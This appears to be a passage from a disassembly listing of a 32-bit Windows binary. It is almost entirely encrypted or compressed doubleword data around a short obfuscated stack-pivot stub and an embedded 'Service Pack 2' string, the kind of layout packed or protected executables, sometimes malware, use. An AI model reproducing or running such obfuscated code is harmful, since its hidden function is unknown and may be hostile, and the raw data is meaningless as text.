		dd 3C756269h, 58917E99h, 0FECB9681h, 7D6BFE6h, 14D11810h
		dd 0C55AFC1Bh, 0BFBEDh,	597E1F00h, 9EB95B44h, 0DFF8A089h
		dd 2235E1CAh, 6671240Dh, 1F864351h, 5D465B7Ch, 9F889DBAh
		dd 0DFC8DDFAh, 2303183Fh, 8A083E84h, 740ECBABh,	314C7C6h
		dd 457BC116h, 4BD35970h, 1C052C44h, 1B705D7Ah, 59709FD5h
		dd 0E5DB99D3h, 4714E6A3h, 537A9299h, 0C5110667h, 765D92D8h
		dd 0AC63DB01h, 501DE8EFh, 0AE1DE696h, 0C6E76086h, 0EF3771FBh
		dd 3952DB01h, 806822CEh, 0D4B1E3FFh, 0AF000000h, 0A96717C7h
		dd 697F71C1h, 77F4BFE0h, 7B811AA4h, 345DD349h, 55BE4813h
		dd 1CD358F1h, 0C2433E3h, 596E6929h, 0A97E1B54h,	5320EBECh
		dd 67371A32h, 0EE67A570h, 59003926h, 0B9A6733Eh, 58F13D73h
		dd 243C43D3h, 0C597D025h, 15CABAD2h, 1BDB0117h,	8CD22714h
		dd 0DB011756h, 163D555Ch, 3E2BEB6Ch, 0ABC4D0F8h, 791FD6E2h
		dd 17503D5Eh, 0E4F3A344h, 16C5AEC3h, 9D940901h,	8C21FC1Bh
		dd 0AFBB4h, 597E1F00h, 9EB95B44h, 0DFF8A089h, 2235E1CAh
		dd 6671240Dh, 1F864351h, 5D465B7Ch, 9F889DBAh, 0DFC8DDFAh
		dd 2303183Fh, 89083E84h, 740ECBABh, 1056ABC6h, 0D35970DAh
		dd 0DD1FD9E0h, 6A31A5ADh, 0C4977A92h, 5D5BED3h,	0F9CA0046h
		dd 0C9D0D358h, 0ABA793A8h, 0E1533089h, 8C592433h, 0B0DC4FD2h
		dd 0F2E5B598h, 56E8AA27h, 1BFC2134h, 91C27CAEh,	4E6559D7h
		dd 0E690A5C6h, 3621F571h, 71E49E6Bh, 715F3972h,	79B29FC0h
		dd 0A1A0B8DFh, 106C65Bh, 4615CCDBh, 16E1F6A1h, 3C072849h
		dd 10679B2h, 5E9794DBh,	7D49FB8h, 0BE69D4EFh, 5ED2369h
		dd 53F3DB01h, 277423ACh, 96678822h, 0BBBBD3C4h,	0E3FF42F7h
		dd 8FAF4567h, 4B3CEA77h, 7271733h, 6150000h, 56411511h
		dd 15024835h, 1BDB019Ah, 8EB04914h, 867615AEh, 0DFCFE768h
		dd 0DB01F7A5h, 903CA7C0h, 0E3F084DAh, 4156033Ch, 7591A976h
		dd 6F5h, 89BF055Ah, 8FDB01EFh, 1F559B88h, 25DB01EFh, 0AB20061Eh
		dd 0D7A20F89h, 11926B8h, 2F1CF85Dh, 0CCBCE9h, 0A9EFC2DBh
		dd 0DB00CC73h, 64517279h, 566E692Bh, 0BCBEE079h, 0ACAB6D5Dh
		dd 2F5A14E1h, 1E39E000h, 0BBF5E5FDh, 0D6DB008Fh, 0ECA652BDh
		dd 35E3FF1Ch, 69Dh, 876FC333h, 0C48F884Eh, 8EC40AF7h, 94D35970h
		dd 44D1758Dh, 0AC6AA390h, 2613E0ABh, 5970AAE0h,	91A9B0D3h
		dd 762B4C92h, 2A31DB01h, 0EB022401h, 4EFBB3EAh,	354445Ch
		dd 25671707h, 0B1F7E430h, 6EBF200Ch, 9ABD5B12h,	203167ADh
		dd 30376EBFh, 1106440Fh, 3792D8C5h, 3D76675Ch, 4D104936h
		dd 0FA33324Ah, 6406A658h, 7F8B1ECEh, 0EF44495Eh, 2CF7E0B6h
		dd 1A4B815Fh, 4A517667h, 888F4F32h, 44672590h, 31099E50h
		dd 914h, 5B706738h, 0A0B5A272h,	0E1F6E1B7h, 203522F8h
		dd 5E736437h, 692C7950h, 0A970596Eh, 0EBB099AEh, 2CEED7ECh
		dd 9736162Bh, 0AB871B51h, 0D98721CBh, 350017C7h, 0C9B61EF7h
		dd 7557283h, 847178DBh,	70888F4Bh, 55495349h, 0B4DCDB07h
		dd 493621F1h, 7E494E10h, 0C87299B1h, 5096834Bh,	0DB075522h
		dd 0D9562128h, 0F311E39h, 46E7E51Fh, 688FA7DFh,	76E4872h
		dd 696E2BDBh, 0ACAB6B54h, 0ADF348E1h, 0DB076E77h, 6E5E767Dh
		dd 0DB075E34h, 40CF3A4Bh, 7B64799Eh, 67F1BCDBh,	0DB076E2Dh
		dd 6BFA6512h, 86BFACABh, 2CF9C4D3h, 58A9ED14h, 0D2000001h
		dd 0FDAFD99h, 0C7442A42h, 0B8350017h, 859244E3h, 3E8A54BAh
		dd 0F2CE9152h, 0A1C3B0D1h, 3BFB6733h, 0A7849C1Ch, 58ABE71Dh
		dd 0F08CAD3h, 7AA60022h, 0D873106Eh, 0A25CCCFBh, 5223CAC2h
		dd 9F7C9483h, 0A0DCD06h, 0DC94EF2h, 3076CB20h, 0D35958FAh
		dd 898E4900h, 0B8D0F1BEh, 73EB7C8h, 881DBDDBh, 51EE5009h
		dd 0D5362E4Fh, 2F4E4A1h, 7F2956Dh, 45160000h, 80543D52h
		dd 0FF998297h, 3CDAC3D8h, 7E1D061Bh, 93364459h,	3F544312h
		dd 7F948356h, 0C1D6C196h, 0FC1106D8h, 1377D1Ch,	7CBAB86h
		dd 17C7BF6Dh, 0E5B83500h, 0ECC05F2h, 59713E09h,	8B8C4932h
		dd 0A7B0659Eh, 0D0F70FDCh, 0B2037E7h, 80FCD06h,	0C082F84Eh
		dd 0C1D92C78h, 0B5683FDEh, 6A3522F2h, 905B7C9Dh, 458B4013h
		dd 0D358BB0Fh, 22ED0E15h, 4AD9445Dh, 71778C8Bh,	1BA8B439h
		dd 1000h, 0AA6CFE00h, 95000000h, 7D73F73h, 738BAA2Ah, 0AE89AB8Dh
		dd 0D7CD7678h, 6333162Eh, 0E51FA974h, 0CAD35975h, 7323B21Dh
		dd 0B1664F64h, 0D880B9A6h, 40CAA7BFh, 0D3597607h, 5E902EEAh
		dd 0D422613h, 3AB782A3h, 90ECB9Ch, 0C3D41DE8h, 3F687958h
		dd 0BB9045D4h, 0FCC7D082h, 9C1B512Fh, 1A21D359h, 0C7F8E4F9h
		dd 0BD3A0512h, 8A8D4F18h, 0C0D99E69h, 5611C655h, 30C99483h
		dd 5970B4EAh, 92B3BAD3h, 0C9665C71h, 0C3D35978h, 4D091558h
		dd 6999904Ah, 0A6EBD9FAh, 79E45885h, 0FFFFFE77h, 3CB6C77h
		dd 73950000h, 23F58044h, 0E29C6934h, 445CEDFBh,	17C75Eh
		dd 183FDA13h, 8B68804Dh, 5970D701h, 0FB1CBAD3h,	0F3E4B330h
		dd 6ED9D428h, 124BA48Fh, 1D385047h, 6CB207B2h, 0D3597036h
		dd 0FE7B353Ch, 4047C6D2h, 0EDAD90A8h, 2AECD5EAh, 0A5EB402Dh
		dd 0D358CF6Fh, 79566E75h, 30F7A7E0h, 0D19E696Eh, 7EA898B0h
		dd 61D358CFh, 9DDBA6B1h, 296F5CB8h, 0DB06B418h,	0A01F171Eh
		dd 29F4E48Dh, 64EBC94h,	0A1720000h, 0E4B8A1B6h,	23F5DEF3h
		dd 60361F34h, 0DA796277h, 2F9AA8BDh, 9BB0A776h,	0DBF0E7B2h
		dd 1D3225F2h, 60756234h, 659BE180h, 6BCBAB84h, 17C723D1h
		dd 0E5B83500h, 22F4DDF2h, 4F0F4835h, 0B4A37748h, 0DD041CE9h
		dd 73D83D8h, 0EAD35970h, 767D2B2Ch, 1CE7F0A5h, 8154374Fh
		dd 1B54A996h, 4B815F78h, 51D35970h, 0BBDC794Ah,	8A49C6A3h
		dd 0E4FDC28Dh, 2C2BEA79h, 0FD591117h, 84BD1BA7h, 8EAAC2D5h
		dd 2C5h, 1056AB8Ch, 0D35970DAh,	70255BA1h, 242BD359h, 82B56F76h
		dd 7FE64AA8h, 8E8B2F47h, 0C0E27B46h, 7C489180h,	7644ABh
		dd 0CA63693Eh, 55A191A9h, 70D247F1h, 0A40EC57h,	0EC1AB682h
		dd 0D95C11CAh, 0F50D78ACh, 27CD9h, 1506D700h, 588ED4C1h
		dd 5ED35970h, 0B6028C57h, 0D1D2486Fh, 0E9A14DB8h, 301AB6FCh
		dd 25Dh, 0C115062Eh, 0D9FE9BD4h
		dd 2A29410Eh, 5970B2E4h, 9D4079D3h, 28E2AF7Ah, 70999DD1h
		dd 0F9B9D187h, 16AAE026h, 10B0D359h, 0B184A2BCh, 0D0F11231h
		dd 0BF2F7B05h, 4612D247h, 4C098651h, 5403804Bh,	5CC77443h
		dd 60CBE47Dh, 0E41A60B5h, 0EAD247BFh, 87CBCBE3h, 5A1AB64Ch
		dd 201h, 0A672AB58h, 119E6B1h, 2B18FC5Dh, 0D48225F2h, 0AD7A2C3h
		dd 61799E39h, 70EE1C62h, 0EDF4D359h, 704C9822h,	4E67D248h
		dd 0FD7337E3h, 0CEC61AB6h, 0AB000001h, 68DA1056h, 1FBDD248h
		dd 0B2602DF8h, 686399DFh, 6269D248h, 0AB432941h, 0B83EF089h
		dd 9061FA00h, 3603CEC9h, 7C9B3B1Eh, 9582568Fh, 882C62A8h
		dd 2B32D358h, 19B93613h, 67888F4Eh, 0CEAFA852h,	0C60C6577h
		dd 0D358F490h, 0AD58F96h, 5D4A6BE3h, 0B0CCF08h,	5F957340h
		dd 65D35871h, 147465Eh,	0DB0099C0h, 6AF4BFC6h, 0DB009930h
		dd 1BC7324Bh, 0E3FF2A57h, 0C8CF8EC7h, 5894B0h, 57790000h
		dd 3117A54Fh, 2433E218h, 605EB03h, 83D8C511h, 4D88F4Ah
		dd 5A7B4813h, 3182298Fh, 0D443734Ah, 76AB9BB3h,	7CDB00D8h
		dd 0D811AA75h, 0E3291601h, 0DB00D8ADh, 0A494ACB3h, 0DB00D86Ah
		dd 0BE898E4Dh, 0BB869141h, 9372DDF6h, 0CA76E1FAh, 0E3F09980h
		dd 0CD59h, 17C75700h, 38DA1300h, 6F87541Fh, 51461592h
		dd 696E2B64h, 0DCB9D19Eh, 0CD98BF5Fh, 74898E50h, 5975157Eh
		dd 3126F8D3h, 0A8F5171Ch, 9BBC59FFh, 24903D0h, 1B51972Fh
		dd 21D359BDh, 3DE1F91Ah, 17363D8h, 0F74C963Bh, 0F9A3E9D6h
		dd 0FFDB0488h, 3D20BF8h, 4716FF14h, 0B3E92F84h,	0B9DB0489h
		dd 899ED4B2h, 0D181DB04h, 802EFBC6h, 76DAAEE0h,	395AA0F9h
		dd 70972018h, 0FF94F4E2h, 37B27h, 0D9FE9F00h, 1E39DBC4h
		dd 5F782009h, 0A2B5614Ah, 0E6F1A48Dh, 9F06C3D1h, 0DDC6DBFCh
		dd 1F081D3Ah, 5F485D7Ah, 0A38398BFh, 8188BE04h,	0F48ECBABh
		dd 314C746h, 425505EEh,	15C70055h, 8C6A3702h, 0D3597056h
		dd 0AD789F39h, 132B32E0h, 17C700ECh, 639C3500h,	0A78AA2B5h
		dd 0C6CBE0F7h, 0B7CFC88Dh, 59708EC7h, 6FA7B0D3h, 765B3C82h
		dd 5A61DB01h, 7661346Dh, 9FC6DEABh, 17C7B3h, 0F1E6B835h
		dd 0F12532DCh, 0A376AF04h, 6BAC9CB4h, 71DB0198h, 0DB159F6Ah
		dd 0BEDB0198h, 0B532FD1Ah, 932AF5E2h, 7024B31Eh, 94AD4667h
		dd 25357D29h, 729E3F0h,	319E02D6h, 5E7A92DDh, 25h, 0A272AB5Ch
		dd 1CF99DB5h, 5085CBB8h, 56DB0176h, 0C0FA844Fh,	0DBDB0176h
		dd 0E7AB57C2h, 3AE3FFFBh, 121h,	17C738h, 7C7A9C35h, 0F565440Dh
		dd 8CBAEC6h, 17C7440Fh,	6E8F8850h, 0EA944881h, 6D5F3997h
		dd 0E2ADCED4h, 7FA0B765h, 0D5EDEAAEh, 0BCDB7BF8h, 6848B1A7h
		dd 6B2BD359h, 94467F6Ch, 0F11205D3h, 1A415926h,	193EDC15h
		dd 8669814Eh, 5FF8C3D4h, 0AB657226h, 9DCC5104h,	42E6FE3Fh
		dd 0D6BD68D5h, 0C48C6385h, 1B61B6A3h, 0D3591BE5h, 3B0611C8h
		dd 0A1B9C06Eh, 0B2F84DA2h, 0D3591C7Ch, 488E7B82h, 0D3591C12h
		dd 9F91118h, 0DB012B9Ch, 0DC869BA2h, 59AE9B7Bh,	455D7A20h
		dd 0ABDBA555h, 0D1176CE2h, 0E2ABDB9Bh, 0D81E01A1h, 867125E6h
		dd 868D4D65h, 9ABD6099h, 0D13658ADh, 0D3FC99B3h, 62497F5Dh
		dd 484FE2ACh, 7D200930h, 0C68AFEC1h, 91451694h,	0CDEEBB86h
		dd 0FA71B4ACh, 8D22FC1Bh, 1BBB5h, 193EDF00h, 5E791B04h
		dd 9FB86049h, 0E2F5A18Ah, 2631E4CDh, 0DFC60311h, 1D061B3Ch
		dd 5F485D7Ah, 9F889DBAh, 0E3C3D8FFh, 80C8FE44h,	34CECBABh
		dd 6A14C786h, 0F5022Dh,	2B406158h, 72879042h, 15110686h
		dd 422F5047h, 0C5984F09h, 193A07D2h, 87BC0201h,	8DDB0176h
		dd 0E922BB86h, 0E25F2A2Dh, 0E9012235h, 176BFF9h, 56C1DADBh
		dd 0FFFBE0AAh, 0A239E3h, 0FC1E0000h, 961B0153h,	0F9DFF7B7h
		dd 350017C7h, 0A6B1639Ch, 56E8AB8Eh, 0CA4E7C86h, 3F0A2B66h
		dd 58FA4CB5h, 686F2FD3h, 0AFA86A53h, 0B5B1A6E4h, 5E2BF6E1h
		dd 9D0A503Dh, 0A3DB0109h, 78DD879Ch, 5A69AF9Ch,	60E2ABB6h
		dd 8435BCC0h, 214226E1h, 3F58FB34h, 8592412Ah, 1B8A148Dh
		dd 0A47C11FCh, 0E4h, 2B405708h,	70859242h, 0B1C6D187h
		dd 0F00512C8h, 2E435407h, 59FCA920h, 9940293Eh,	0DB80697Eh
		dd 1CBEA7BCh, 6706E6FBh, 0AB7EEB21h, 0A957F1CBh, 0EE0314C7h
		dd 55425505h, 905B7C1Ch, 9884ABC3h, 350017C7h, 0EC25E6B8h
		dd 1B512F28h, 21D35970h, 3AE4F91Ah, 0C60CF9DDh,	0DB0755B1h
		dd 4CE5B0B7h, 0F7A74013h, 274815E0h, 55BEF43Ah,	0BDC4DB07h
		dd 710C2A5h, 0E0B4EDF2h, 475F2CF7h, 27F5B264h, 0BA440F30h
		dd 4DE95A2Ah, 7F4A4D0Dh, 5A6AA0E6h, 69704DE9h, 0BD6C198h
		dd 7251BCB7h, 0D564CFCAh, 14FD1205h, 0D8A5542h,	8834E49h
		dd 0B161F05Bh, 0F6A891A6h, 5A99CF15h, 989F4DE9h, 5A2F65ABh
		dd 2E354DE9h, 196A420Dh, 0AC000000h, 0B1A672ABh, 330119E6h
		dd 29EE277Ch, 0B896632Eh, 0D3597082h, 83698188h, 360116C7h
		dd 33FE19B9h, 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh
		dd 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch, 0E689563Ch, 7711B850h
		dd 92051073h, 0F731D41Ah, 6E8C1D0h, 503E8C1h, 0FFA123CDh
		dd 8358C601h, 348704EEh, 2F685C24h, 89000076h, 7D682404h
		dd 8900003Bh, 68532414h, 4B55664h, 0F7F3875Bh, 43F387D6h
		dd 27E0EB81h, 0F3815A03h, 0A6EA641Ch, 685BD889h, 6ABAh
		dd 81242489h, 42404h, 535A0000h, 8BBh, 89D30100h, 241C8B03h
		dd 8B04C483h, 89532414h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 24048B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		dd 0D5BFE32Bh, 7A12949h, 0A1FF670Bh, 0ADF2C8B8h, 0FFC50307h
		dd 81AEF1E0h, 0DA452978h, 316D791Ch, 0E646010h,	66411837h
		dd 0F0AC2D2Fh, 567BDB6Ch, 90CF250Dh, 0BB911968h, 14EA0E2Ah
		dd 3AF7543Fh, 216DD859h, 757ABB18h, 75A02A51h, 0C5EC9B33h
		dd 83EAC047h, 0A78016Ah, 62E67A33h, 0D47D1A7Fh,	7F8D8D21h
		dd 0F507ADF4h, 8D89C28Ah, 7A81731h, 1DB19D29h, 85C707A8h
		dd 7A80A59h, 5C78h, 0BC0CD081h,	85C74D97h, 7A80939h, 0
		dd 1C91950Bh, 0B5FF07A8h, 7A810A9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 3C35545h, 0E8C68AAAh, 0Fh
		dd 61CE16D4h, 0AF997295h, 649459A0h, 8BCD5B84h,	95FF5AD0h
		dd 7A81A99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	97C35545h, 14E9h, 8289D500h, 59EBF81Fh,	731603FDh
		dd 24FB8B0Ch, 0ADC246E5h, 0FF006ABFh, 0A80D2195h, 0EBC08B07h
		dd 460DD949h, 0DBA970BAh, 40F63721h, 703A7CC0h,	891C8A29h
		dd 5AB0B1Bh, 4499D95Dh,	0AFEF5FE7h, 8D77AFA6h, 0A7E6CE55h
		dd 600648B8h, 0FBB8502Fh, 0EE7D24D3h, 395E7589h, 0A4905326h
		dd 9CD3738Bh, 6CC9DF93h, 59FCF4F4h, 0C5E99D68h,	3E000000h
		dd 94086987h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 27h	dup(0)
		dd 0B8BE9h, 0F7316800h,	0CE907ADh, 68FFFA8Ah, 7ADF821h
		dd 0FA8A02E9h, 0F91368FFh, 0F8E907ADh, 68FFFA89h, 7ADF986h
		dd 0FA89EEE9h, 0FAB068FFh, 0E4E907ADh, 68FFFA89h, 7ADFB1Ah
		dd 0FA89DAE9h, 0FE7068FFh, 0D0E907ADh, 68FFFA89h, 7ADFF47h
		dd 0FA89C6E9h, 1D3ADBFFh, 5A7D1F08h, 9BBC5C45h,	0DEF99D86h
		dd 1A3DE0C9h, 0D3D2F705h, 19021700h, 5B44597Eh,	9B8499BEh
		dd 0E7C7DCFBh, 7BCC0248h, 38D2CBABh, 48B44F71h,	0A316DB7Ch
		dd 169DE6D5h, 3E56776Dh, 5017C758h, 1B3CDA8Dh, 41622FFAh
		dd 5B7C1B54h, 0CEABC390h, 395EFC35h, 7B9C3E21h,	0BDF3398Eh
		dd 0C3D35970h, 0D37DA4BCh, 5FA59242h, 0DB01981Eh, 0C8521D24h
		dd 0DB01988Eh, 7A2590A9h, 98A9DF25h, 0A8AFDB01h, 25DA9090h
		dd 2A1FE3F0h, 1D000000h, 0D8C51106h, 1765D92h, 0EFAC63DBh
		dd 72FCC7E8h, 0DB017638h, 23CF3A53h, 0E3FFFB6Fh, 0D3C496CFh
		dd 7233B08h, 0E6h, 6717C705h, 0E4573B8Fh, 0A07445E9h, 4ECB96B7h
		dd 40BD888Fh, 31AE799Eh, 6B617661h, 0D3587CACh,	7B9C3A73h
		dd 20EBECAAh, 86583B53h, 0AC6BA491h, 4278BEABh,	48D3587Ch
		dd 0FD022941h, 7C2C62A8h, 1A26D358h, 5B20E224h,	0B4CCD381h
		dd 4B1601D1h, 0DFCC080Dh, 10FE499h, 0CEE3EADBh,	0F6E33324h
		dd 33FE19BDh, 94F4E66h,	0E2ABBFF2h, 0E204F1F8h,	0FCAB319h
		dd 0F3F4E08h, 508988A0h, 8C758A8Dh, 0A3D6CEC9h,	54FC1BF3h
		dd 91AE7BFh, 0C5960000h, 0D4BDD2h, 7F190217h, 0BC5A4358h
		dd 0FE9D869Bh, 13B6C4D9h, 0BFD4C392h, 0FF1403D6h, 41564116h
		dd 7C918658h, 81B7FD9Ch, 87CBAB79h, 89AB3FEDh, 2A45EF7Dh
		dd 90738BE5h, 0B0B5CACDh, 391AA477h, 0FD69010Bh, 11DEA9CAh
		dd 874416F9h, 588C0B41h, 0E90A11D3h, 72ABE8D4h,	0F498B0A7h
		dd 8DC6B363h, 0B1B0C8CFh, 176366Bh, 23693CDBh, 0DB0175EDh
		dd 5F0D0AD0h, 0E26C3758h, 0DB0176A8h, 933FAAC3h, 0E3FFFBDFh
		dd 0AE22h, 0CCE0700h, 5B73400Bh, 17C775h, 0F2E5B835h, 0F3398E27h
		dd 0D35970BDh, 0B4A4BCC3h, 0D35974F5h, 0FC1106D8h, 67544313h
		dd 19B96E2Eh, 456633FEh, 512502Dh, 0E99EE4D1h, 0B0DB019Ah
		dd 0FA63328Eh, 94AC3E4Bh, 0EB8CDD4h, 9AE0CD09h,	0E2AC7A72h
		dd 4B847178h, 917A8F88h, 0B4DDD5C2h, 31FC1AD7h,	82AC49Ch
		dd 0F5A60000h, 30E4CDE2h, 6F291227h, 0AC6A5368h, 0EEAD96ABh
		dd 3C6D4E9h, 0CFE4F3A2h, 0F2433E6h, 51667126h, 8CA1B668h
		dd 91C70DACh, 97CBAB78h, 14C74FFDh, 0C7E9EE03h,	0C82E1B66h
		dd 0F1BB90E4h, 7771621Ch, 7D7BAD2h, 0C70FFB10h,	0B8350017h
		dd 32DCF1E6h, 0CB04F125h, 76430E09h, 0B5195F5Eh, 0BBDB0765h
		dd 20415604h, 6298DE33h, 68DB0765h, 0F82E7461h,	0FEDB0764h
		dd 0A7E0DFF7h, 0C6CBE0F7h, 0FEC9CE8Dh, 83291931h, 0A5DB0765h
		dd 5E4B60B4h, 3A9A7BD2h, 6DD6F84Dh, 0C10C35E8h,	4465556Dh
		dd 4AE2AF55h, 0D34C1A43h, 0F576784Ch, 81C7B460h, 7E205928h
		dd 0C35C272Eh, 0F15D29A1h, 210E58ADh, 1FE7A5DBh, 8CA4AB7Eh
		dd 0BAA76FE8h, 0CB5F5474h, 66535A85h, 1ABA6D2Dh, 9AEFDCFDh
		dd 0CB5F1E54h, 51D2485h, 3225F5DEh, 3830133Ah, 6F47DC41h
		dd 738h, 0DFF4E3B4h, 1C3126F6h,	5D726533h, 9CB1A674h, 0E2F7E0B3h
		dd 0EDB0F5D4h, 2DECD5EAh, 6F2C152Ah, 0A86A5368h, 1BBA9AAFh
		dd 0AB779FD5h, 5D0BA5CBh, 0D8C51106h, 7652E92h,	402D34DBh
		dd 357B5007h, 0DB0764FFh, 0C5DDFE05h, 18CF8DC6h, 1D325344h
		dd 8A776034h, 928ECA68h, 184D3385h, 0CDBF7984h,	39162EFEh
		dd 5FD1ABCh, 0F4E4C270h, 0C510E87Dh, 41000006h,	89728790h
		dd 0CEB7CCCBh, 0FF80D0Ah, 4E374C4Bh, 6573888Fh,	85924164h
		dd 0C7D08770h, 0B0CC9B2h, 4A4D0DF6h, 70B65535h,	0CBAB773Ah
		dd 6F8A640h, 51461511h,	0AB98B986h, 98B0A772h, 64EF5399h
		dd 0EEF5DB07h, 1157AC01h, 0DB0765DBh, 0DFC2DAE1h, 5903183Fh
		dd 0E12714F8h, 0DB0765B7h, 0E6B1EABDh, 65DD13F1h, 0DCE3DB07h
		dd 2D66F0BBh, 48DB0765h, 5218C42Fh, 0A7E3F5F6h,	42h, 1056ABA5h
		dd 0D35970DAh, 1DC1D9E0h, 96EBD83Ch, 849CBB5Dh,	59706294h
		dd 966168D3h, 5970D20Ch, 69D4EDD3h, 0A7FDF5BDh,	144C1Bh
		dd 6C4A0000h, 1DFh, 0CCBF5C95h,	59705086h, 2E4F56D3h, 6FC33016h
		dd 0B4A175E2h, 0EFBADD7Bh, 0B60B0A22h, 0EEB9DE7Dh, 0F8190921h
		dd 0BFDB0176h, 0ADC5D286h, 0EFBDE6EDh, 8AAC270Fh, 3F02431h
		dd 543464BDh, 98636A92h, 2C19FD5Ah, 0D9FE9ED7h,	3929410Eh
		dd 99FFAC19h, 0A1B6681Fh, 0FBE809D6h, 390413C2h, 1C55546Ch
		dd 43485D7Ah, 814C4B0Ah, 19B99CB4h, 0E57B06FEh,	27BC35EFh
		dd 59B4Fh, 51461700h, 9681533Ch, 0D7C09881h, 1A3DD9C2h
		dd 5E791C05h, 178E3B49h, 553E5344h, 97809582h, 0D7C0D5C2h
		dd 1BFB1007h, 7600367Ch, 6C06CBABh, 17C7BEh, 0B61EF735h
		dd 1ACD90C9h, 0C18E597Eh, 0F008D5A0h, 0A50AABF1h, 910DB01h
		dd 2037E31Ch, 559B8855h, 0DB01A51Fh, 0DF061E25h, 3B3324F6h
		dd 0F4E1EA2Eh, 310EE67Bh, 0AD000005h, 0EDD6EBECh, 2A13282Fh
		dd 6B54696Eh, 0AA93A8AFh, 0C9D7ECEBh, 0E1F6A500h, 2334E3CCh
		dd 6770250Eh, 0AEA96952h, 0D41AB999h, 0CBAB759Eh, 0AB5C0AA4h
		dd 0E6B1A672h, 0B0E62C19h, 0B6D35970h, 0E2B497AFh, 66879045h
		dd 5B7C1E9Bh, 0ACCECB90h, 108681BEh, 3E5971ABh,	490628D3h
		dd 3A5DFA28h, 9F3C3E80h, 35F2A487h, 295FA566h, 2FD358CBh
		dd 6F3C0728h, 7F33394Eh, 0C21BA758h, 35h, 0C51106C0h, 0F4EBB6D8h
		dd 825D21B3h, 0DAF2E5B1h, 0F2B495DBh, 0B3BADB00h, 0F2245EE8h
		dd 263FDB00h, 0C3EE10BBh, 2F0F8BBEh, 12585870h,	0E7E3F0B2h
		dd 4Bh,	0C51106E5h, 0F52E83D8h,	98653027h, 597084BAh, 6B838AD3h
		dd 1BE8E7Bh, 0A08D94DBh, 8DA2B567h, 0F38B4F88h,	0E31B1E53h
		dd 58234468h, 4A83738Bh, 2DDB01F7h, 218D16Dh, 520C0BC9h
		dd 8CAD3E4Ch, 0C9CE8E77h, 43626FEh, 0AB680000h,	42A3C89h
		dd 2A7021DBh, 0D358AFF4h, 0BAD2F3FAh, 0E8D50116h, 0CB91A2h
		dd 0C59097DBh, 3423F32Ch, 7E99391Ch, 0F9645FB3h, 7B68ACA9h
		dd 6A829542h, 96F4166Bh, 809747C5h, 4D89ECC6h, 33344535h
		dd 333AE2A9h, 0C265351Eh, 6F3C0710h, 10DBFC9Eh,	0FC352243h
		dd 46233B5Ch, 0DAC70F08h, 5133A394h, 0B4D6A9EAh, 4D313769h
		dd 9AD0AEE7h, 0A0EA5076h, 0CB5CDF99h, 0D6487524h, 0C26FEAB5h
		dd 6816C857h, 0A0C436FCh, 0CBE00125h, 0F52B71C6h, 0FBEA50B3h
		dd 0DF38DCF4h, 7CB50AF7h, 0B2A2BADDh, 0F1F8D05Dh, 5389CF24h
		dd 4DF1F8D0h, 0BDA584DDh, 69701E53h, 9D8A9151h,	0FA4C327Bh
		dd 94ACE54Bh, 7F983AB7h, 218C39B4h, 0A39044D1h,	7DB3F94Eh
		dd 83F1F874h, 1F74647Ch, 25F9A090h, 0E204091Eh,	78ADA2E5h
		dd 0DEC1D9AFh, 0F52E1B3Ch, 411E3621h, 0AE6D11C4h, 0E4E76AEh
		dd 6FC38EAFh, 95E0974h,	0A09D8DC3h, 7AC093F9h, 0F9A09D44h
		dd 0A22434Ah, 0EDB07727h, 31521FEAh, 98E5721Ch,	0A59498CCh
		dd 0F8E506DCh, 496BC1B2h, 4D10C701h, 91B27F4Ah,	0D3094FA4h
		dd 0D901496Bh, 60DDBAD2h, 51CE99BEh, 4DCA9582h,	26BD888Fh
		dd 986746B1h, 9CD580EBh, 420FDAFDh, 4591862Ah, 6C211258h
		dd 0AFE808F1h, 5623EEE9h, 0AFC7D085h, 0EAD3E8EFh, 0E7642F28h
		dd 610B2037h, 0ED3320F4h, 109994ACh, 0F04E12B2h, 91B5C916h
		dd 0FFB95058h, 0EA0B24AAh, 0B35B951Fh, 5D761099h, 400C46F2h
		dd 3DD5D918h, 0D3000000h, 0B5A272ABh, 0B81CF99Dh, 765085CBh
		dd 4F56DB01h, 0E5B2EB84h, 425A27F2h, 1761852h, 3F58FBDBh
		dd 3324F774h, 0AE191468h, 0B21D36CFh, 0F08CE07h, 0FBB3F7F7h
		dd 0CB86E3FFh, 84000000h, 350017C7h, 0F2B5639Ch, 9C693423h
		dd 0DD80637Bh, 0A072EFBAh, 0AF6FECB7h, 163720F8h, 754C0B01h
		dd 6F2FD359h, 0A86A5368h, 193A5DFFh, 1F07104Eh,	0EFE8AD7Ah
		dd 6BC0ADCEh, 457BC116h, 4BD35975h, 75306644h, 2F36D359h
		dd 83BA2717h, 0B9C0DB01h, 44A9FA4h, 0DB0183CEh,	11B5CDD4h
		dd 9DE3D004h, 0E2AC33EDh, 0AAFFECF3h, 0EBB6A171h, 7023061Eh
		dd 0AA695267h, 1DBEB5ADh, 5AEFFC1Bh, 1DB82h, 91865700h
		dd 0D6C1937Ch, 1700D8C1h, 5A7D1902h, 9EB95C45h,	574E7B89h
		dd 957E9384h, 0D7C0D5C2h, 17001502h, 5B3B5047h,	724076BCh
		dd 0AC46CBABh, 314C7FEh, 425505EEh, 84BA0055h, 8AD35970h
		dd 0F51601D3h, 4E667124h, 11063B27h, 5D92D8C5h,	63DB0176h
		dd 0CD07915Ch, 0E8DB0176h, 0F2B864CFh, 47E3FFFBh, 0B7h
		dd 0A472AB45h, 0E6B89BB3h, 69AF04F1h, 0D3597033h, 0B6613239h
		dd 0F109D6A1h, 0D3C49714h, 74BF7E08h, 0F0A2D359h, 29E9D2E7h
		dd 3025632Eh, 0AB766134h, 8AD0BDDEh, 0DB01831Dh, 5D071C23h
		dd 0E92F1CF8h, 0E2AC30DAh, 0B3ECD9E0h, 859247E0h, 9C3E7764h
		dd 2B7563E2h, 7E9FB33Eh, 87563F66h, 73BDABF7h, 0BDDEC17Dh
		dd 1B01D8C5h, 0A88015FCh, 104h,	0A3B8DF80h, 0E8FD1ABAh
		dd 293E59FFh, 687D9A40h, 0A6BBDC7Fh, 0A1743198h, 0E1B8A1B6h
